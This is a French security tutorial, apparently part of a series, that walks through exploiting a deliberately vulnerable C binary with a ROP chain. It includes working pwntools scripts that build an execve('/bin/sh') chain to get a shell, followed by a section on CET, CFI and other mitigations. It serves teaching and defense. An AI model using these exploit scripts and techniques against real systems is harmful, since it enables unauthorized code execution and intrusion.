Construire une chaîne ROP pas à pas
Avec NX, le shellcode injecté est mort : on réutilise le code existant. Trouver des gadgets, bâtir une chaîne execve avec pwntools, puis voir CET et CFI la casser.
Ceci est le deuxième tutoriel de l'espace Techniques d'exploitation. Le guide précédent détournait une adresse de retour sauvegardée et sautait vers une fonction win() commode, NX restant sans importance parce que nous sautions vers du code existant. Ici il n'y a pas de win(), et nous ne pouvons pas injecter notre propre code parce que NX est activé. La réponse, c'est la programmation orientée retour : assembler des fragments du code déjà présent dans le binaire pour faire ce que nous voulons.
Comme précédemment, nous construisons la cible nous-mêmes et l'exécutons dans un labo jetable. Relisez les règles du labo si vous les avez sautées.
Pourquoi NX force la réutilisation de code
NX / DEP marque la mémoire inscriptible — la pile, le tas — comme non exécutable. Écraser l'adresse de retour avec un pointeur vers votre entrée échoue désormais instantanément : la page contenant vos octets n'a pas la permission d'exécution, donc le CPU provoque une faute sur la première instruction.
ROP n'exécute jamais les octets de l'attaquant. Chaque valeur que nous plaçons sur la pile est soit un pointeur vers du code exécutable qui existe déjà, soit des données que ces instructions consomment. NX ne peut rien y faire, parce que du point de vue du CPU nous n'exécutons jamais que du code légitimement mappé et exécutable.
Ce qu'est un gadget
Un gadget est une courte séquence d'instructions se terminant par ret. ret dépile les 8 octets suivants de la pile vers le pointeur d'instruction et saute dessus. Donc si nous disposons une pile ainsi :
- ◀ rsp
pop rdi ; retle ret saute ici en premier &"/bin/sh"dépilé dans rdipop rsi ; retson ret saute ici ensuite0dépilé dans rsisyscalldéclenche execve("/bin/sh", 0, 0)
le ret final de chaque gadget lance le suivant. Enchaînés, ils peuvent charger tous les registres d'arguments et déclencher un appel système. Notre objectif est le classique : execve("/bin/sh", NULL, NULL).
Sur Linux x86-64, la convention System V passe les arguments d'appel système dans rax (numéro), rdi, rsi, rdx. Pour execve, c'est :
| Registre | Valeur | Signification |
|---|---|---|
rax | 59 | numéro d'appel système de execve |
rdi | pointeur vers "/bin/sh" | pathname |
rsi | 0 | argv (NULL) |
rdx | 0 | envp (NULL) |
La cible
/* vuln.c — démo délibérément vulnérable. Compiler en statique, NX activé, canari désactivé. */
#include <stdio.h>
#include <unistd.h>
void vuln(void) {
char buf[64];
read(0, buf, 512); /* le bug : 512 octets dans un tampon de 64 octets */
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
Compilez-le en statique pour que le binaire contienne un grand ensemble fixe de gadgets et sa propre copie de la chaîne "/bin/sh" — cela garde le tutoriel autonome et toutes les adresses stables :
gcc -static -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c
checksec confirme que NX est la défense en jeu :
$ checksec --file=./vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled ← voilà pourquoi il nous faut ROP
PIE: No PIE (0x400000)
Étape 1 — trouver l'offset
Même méthode de motif cyclique que dans le guide ret2win :
from pwn import *
context.binary = ELF("./vuln")
io = process("./vuln")
io.send(cyclic(200))
io.wait()
print("offset:", cyclic_find(io.corefile.read(io.corefile.rsp, 8)))
# offset: 72
72 octets remplissent buf (64) plus rbp sauvegardé (8) ; à partir de l'octet 72 se trouve l'adresse de retour, c'est-à-dire le début de notre chaîne.
Étape 2 — chasser les gadgets
ROPgadget (ou l'objet ROP de pwntools) liste les séquences que contient le binaire :
$ ROPgadget --binary vuln | grep -E ': pop rdi ; ret$'
0x0000000000401f6f : pop rdi ; ret
$ ROPgadget --binary vuln | grep -E ': pop rsi ; ret$'
0x000000000040a44e : pop rsi ; ret
$ ROPgadget --binary vuln | grep -E ': pop rax ; ret$'
0x0000000000450507 : pop rax ; ret
$ ROPgadget --binary vuln | grep -E ': syscall ; ret$'
0x0000000000402424 : syscall ; ret
pop rdx seul manque souvent ; on le trouve généralement apparié, par exemple pop rdx ; pop rbx ; ret. Ce n'est pas grave — fournissez une valeur jetable pour rbx. Et la chaîne "/bin/sh" réside dans la glibc statique :
$ ROPgadget --binary vuln --string '/bin/sh'
0x00000000004a5a2f : /bin/sh
Si votre binaire n'a pas la chaîne, écrivez-la vous-même : trouvez un gadget
mov qword ptr [rXX], rYY ; ret, pointez un registre vers une adresse.bssinscriptible, chargez"/bin/sh\0"dans un autre, et stockez-le — puis utilisez cette adresse.bsscommerdi. pwntools automatise aussi cela (ci-dessous).
Étape 3 — assembler la chaîne à la main
Nous disposons maintenant les gadgets et leurs opérandes sur la pile dans l'ordre :
# rop_manual.py
from pwn import *
context.binary = elf = ELF("./vuln")
pop_rdi = 0x401f6f
pop_rsi = 0x40a44e
pop_rdx_rbx = 0x4XXXXX # depuis : ROPgadget | grep 'pop rdx ; pop rbx ; ret'
pop_rax = 0x450507
syscall = 0x402424
binsh = next(elf.search(b"/bin/sh\x00")) # pwntools trouve la chaîne
chain = b""
chain += p64(pop_rdi) + p64(binsh) # rdi = "/bin/sh"
chain += p64(pop_rsi) + p64(0) # rsi = 0
chain += p64(pop_rdx_rbx) + p64(0) + p64(0) # rdx = 0 (rbx = 0 jetable)
chain += p64(pop_rax) + p64(59) # rax = 59 (execve)
chain += p64(syscall) # execve("/bin/sh", 0, 0)
payload = b"A" * 72 + chain
io = process("./vuln")
io.send(payload)
io.interactive()
$ python3 rop_manual.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
Le ret à la fin de vuln a sauté vers pop rdi ; ret ; son ret a sauté vers pop rsi ; ret ; et ainsi de suite le long de la chaîne jusqu'à ce que syscall exécute execve. Pas un seul octet de notre entrée n'a été exécuté en tant que code — seulement consommé en tant qu'adresses et données.
Alignement de la pile, encore
Si syscall (ou une fonction de la libc que vous appelez) provoque une faute, c'est le même problème d'alignement sur 16 octets vu dans le guide ret2win. Insérez un gadget ret nu en tête de chaîne pour décaler la pile de 8.
Étape 4 — laisser pwntools la construire
L'assemblage à la main enseigne le mécanisme ; en pratique, l'objet ROP de pwntools trouve les gadgets et dispose la chaîne (y compris l'écriture de "/bin/sh" dans .bss au besoin) :
from pwn import *
context.binary = elf = ELF("./vuln")
rop = ROP(elf)
rop.execve(next(elf.search(b"/bin/sh\x00")), 0, 0)
log.info(rop.dump()) # affiche la chaîne résolue
payload = flat({72: rop.chain()})
io = process("./vuln"); io.send(payload); io.interactive()
Comprendre la version manuelle est ce qui vous permet de la déboguer quand la version automatique ne trouve pas un gadget dont elle a besoin.
Étape 5 — activer les mitigations qui arrêtent ROP
C'est la moitié défensive. NX a fait son travail — il a arrêté l'injection de code — mais pas la réutilisation de code. Les mitigations visant ROP s'attaquent aux retours eux-mêmes.
Pile fantôme / Intel CET
gcc -static -fno-stack-protector -no-pie -fcf-protection=full -O0 -o vuln_cet vuln.c
Sur du matériel et des noyaux compatibles CET, une pile fantôme conserve une seconde copie protégée de chaque adresse de retour. À chaque ret, le CPU compare la pile normale à la pile fantôme ; notre chaîne a écrasé la normale, donc le premier ret vers un gadget provoque une divergence et le processus est tué. Le suivi des branchements indirects de CET exige en plus que les cibles valides d'appel/saut commencent par une instruction endbr64 — les gadgets au milieu des fonctions ne le font pas, ils deviennent donc des cibles indirectes invalides.
Intégrité du flot de contrôle
clang -fsanitize=cfi -flto -fvisibility=hidden -static -o vuln_cfi vuln.c
L'intégrité du flot de contrôle contraint les branchements indirects à un ensemble de cibles légitimes calculé par le compilateur. Le CFI de bord avant n'arrête pas à lui seul les écrasements d'adresse de retour, ce qui explique pourquoi il est associé à une pile fantôme pour le bord arrière — ensemble ils ferment les deux directions dont ROP dépend.
Et celles qui ne font qu'augmenter le coût
| Mitigation | Effet sur cette chaîne ROP |
|---|---|
| Canari de pile | Détecte l'écrasement linéaire avant le premier ret — la chaîne ne démarre jamais |
| PIE + ASLR | Les adresses des gadgets sont aléatoires à chaque exécution ; la chaîne a besoin d'une fuite d'abord |
| Full RELRO | Ferme la voie d'écrasement de la GOT (le guide suivant) |
| Pile fantôme / CET | Bord arrière : une adresse de retour divergente interrompt le processus |
| CFI | Bord avant : les branchements indirects sont restreints à des cibles valides |
Ce que cela enseigne à un défenseur
- NX est nécessaire mais pas suffisant. Il a mis fin à l'injection de shellcode, et les attaquants ont répondu avec ROP. Lire une ligne
checkseccomme « NX : activé, donc sûr » est l'erreur que ce tutoriel existe pour corriger. - Les défenses qui ciblent réellement ROP sont les protections de bord arrière — piles fantômes / CET, et retours signés par PAC sur ARM. Si vous livrez du code natif, activer
-fcf-protection(et compiler pour des cibles compatibles pile fantôme) est la réponse la plus directe à cette technique. - Les gadgets sont une propriété de tout votre binaire, y compris les bibliothèques statiques. Des binaires plus petits, moins liés statiquement, en exposent moins. C'est une raison réelle, quoique secondaire, de préférer des compilations épurées.
- Rien de tout cela ne corrige le bug
read(0, buf, 512). Cela décide seulement si le bug se termine par un crash ou un shell. La correction — borner la lecture — se trouve dans les débordements de tampon de pile.
Points clés à retenir
- ROP déjoue NX en n'exécutant que du code déjà mappé comme exécutable, piloté par des adresses de retour placées sur la pile.
- Un gadget est une courte séquence d'instructions se terminant par
ret; des gadgets enchaînés peuvent charger les registres d'arguments et déclencher un appel système. - L'objectif classique est
execve("/bin/sh", 0, 0): mettrerax=59,rdi=&"/bin/sh",rsi=rdx=0, puissyscall. - Les piles fantômes / CET et le CFI sont les mitigations conçues spécifiquement pour casser ROP ; le canari, PIE et RELRO en augmentent le coût à d'autres étapes.
Suite dans cette série : réutiliser directement la libc avec ret2libc, et transformer un bug de chaîne de format en lecture et écriture arbitraires.